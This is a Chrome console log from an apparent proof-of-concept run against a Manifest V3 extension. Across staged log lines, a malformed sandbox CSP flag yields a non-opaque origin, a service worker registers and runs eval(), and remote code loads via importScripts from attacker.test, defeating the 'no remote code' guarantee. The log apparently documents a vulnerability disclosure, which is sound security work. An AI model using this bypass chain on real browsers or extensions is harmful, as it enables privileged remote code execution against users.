[30796:30796:0403/000703.643870:INFO:CONSOLE:2] "[POC-LAUNCHER] index.html loaded, origin=chrome-extension://lacannpkanepocpkmdjjnkdbepncneik", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/index.js (2) [30796:30796:0403/000703.659371:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (0) [30796:30796:0403/000703.660430:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (0) [30796:30796:0403/000703.660967:INFO:CONSOLE:0] "An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing.", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (0) [30796:30796:0403/000703.683452:INFO:CONSOLE:27] "[POC-SANDBOX] === STAGE 1: ORIGIN CHECK ===", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.683929:INFO:CONSOLE:27] "[POC-SANDBOX] location.origin = chrome-extension://lacannpkanepocpkmdjjnkdbepncneik", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.684241:INFO:CONSOLE:27] "[POC-SANDBOX] location.href = chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.684489:INFO:CONSOLE:27] "[POC-SANDBOX] *** STAGE 1 PASS: non-opaque chrome-extension origin ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.684769:INFO:CONSOLE:27] "[POC-SANDBOX] (sandbox CSP header was applied but kOrigin was cleared)", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.685038:INFO:CONSOLE:27] "[POC-SANDBOX] === STAGE 2: SERVICE WORKER REGISTRATION ===", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.685289:INFO:CONSOLE:27] "[POC-SANDBOX] navigator.serviceWorker is exposed (CanAccessServiceWorkers passed)", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.833936:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: (0) [30796:30796:0403/000703.834405:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: (0) [30796:30796:0403/000703.835453:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: (0) [30796:30796:0403/000703.835758:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: (0) [30796:30796:0403/000703.838656:INFO:CONSOLE:30] "[POC-SW] === STAGE 3: SERVICE WORKER CSP CHECK ===", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (30) [30796:30796:0403/000703.839507:INFO:CONSOLE:31] "[POC-SW] self.location.href = chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (31) [30796:30796:0403/000703.840079:INFO:CONSOLE:32] "[POC-SW] self.location.origin = chrome-extension://lacannpkanepocpkmdjjnkdbepncneik", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (32) [30796:30796:0403/000703.840928:INFO:CONSOLE:33] "[POC-SW] self.registration.scope = chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (33) [30796:30796:0403/000703.841515:INFO:CONSOLE:40] "[POC-SW] SW origin is NON-OPAQUE chrome-extension://", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (40) [30796:30796:0403/000703.842325:INFO:CONSOLE:55] "[POC-SW] **********************************************************", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (55) [30796:30796:0403/000703.842918:INFO:CONSOLE:56] "[POC-SW] *** STAGE 3 PASS: eval() EXECUTED in MV3 extension SW ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (56) [30796:30796:0403/000703.843451:INFO:CONSOLE:57] "[POC-SW] *** eval() returned 1338 ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (57) [30796:30796:0403/000703.844088:INFO:CONSOLE:58] "[POC-SW] *** kMinimumMV3CSP was NOT appended (csp_info.cc:190) ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (58) [30796:30796:0403/000703.844905:INFO:CONSOLE:59] "[POC-SW] *** GetMinimumCSPToAppend returned sandbox CSP instead ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (59) [30796:30796:0403/000703.845658:INFO:CONSOLE:60] "[POC-SW] **********************************************************", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (60) [30796:30796:0403/000703.845992:INFO:CONSOLE:74] "[POC-SW] === STAGE 4: REMOTE importScripts() ===", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (74) [30796:30796:0403/000703.892063:INFO:CONSOLE:5] "[REMOTE-PAYLOAD] >>> REMOTE CODE EXECUTING IN EXTENSION SW <<<", source: http://attacker.test:29999/payload.js (5) [30796:30796:0403/000703.892671:INFO:CONSOLE:6] "[REMOTE-PAYLOAD] >>> origin = chrome-extension://lacannpkanepocpkmdjjnkdbepncneik <<<", source: http://attacker.test:29999/payload.js (6) [30796:30796:0403/000703.892859:INFO:CONSOLE:7] "[REMOTE-PAYLOAD] >>> scope = chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/ <<<", source: http://attacker.test:29999/payload.js (7) [30796:30796:0403/000703.893287:INFO:CONSOLE:79] "[POC-SW] **********************************************************", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (79) [30796:30796:0403/000703.893576:INFO:CONSOLE:80] "[POC-SW] *** STAGE 4 PASS: REMOTE CODE EXECUTED in extension SW ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (80) [30796:30796:0403/000703.895861:INFO:CONSOLE:81] "[POC-SW] *** importScripts(http://attacker.test) succeeded ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (81) [30796:30796:0403/000703.898682:INFO:CONSOLE:82] "[POC-SW] *** MV3 'no remote code' guarantee is fully bypassed ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (82) [30796:30796:0403/000703.898880:INFO:CONSOLE:83] "[POC-SW] **********************************************************", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (83) [30796:30796:0403/000703.905974:INFO:CONSOLE:97] "[POC-SW] install event -- skipping waiting", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (97) [30796:30796:0403/000703.908694:INFO:CONSOLE:27] "[POC-SANDBOX] *** STAGE 2 PASS: SW registered, scope=chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/ ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.909436:INFO:CONSOLE:27] "[POC-SANDBOX] (browser-side Register() Mojo handler accepted from sandboxed frame)", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27) [30796:30796:0403/000703.922129:INFO:CONSOLE:102] "[POC-SW] *** STAGE 5: SW ACTIVE at scope chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/ ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (102) [30796:30796:0403/000703.926739:INFO:CONSOLE:103] "[POC-SW] *** This SW now intercepts ALL chrome-extension:/// requests ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (103) [30796:30796:0403/000703.927185:INFO:CONSOLE:104] "[POC-SW] *** Synthesized responses execute with full chrome.* API access ***", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sw.js (104) [30796:30796:0403/000703.929709:INFO:CONSOLE:27] "[POC-SANDBOX] SW is ready (active controller for chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/)", source: chrome-extension://lacannpkanepocpkmdjjnkdbepncneik/sandbox.html (27)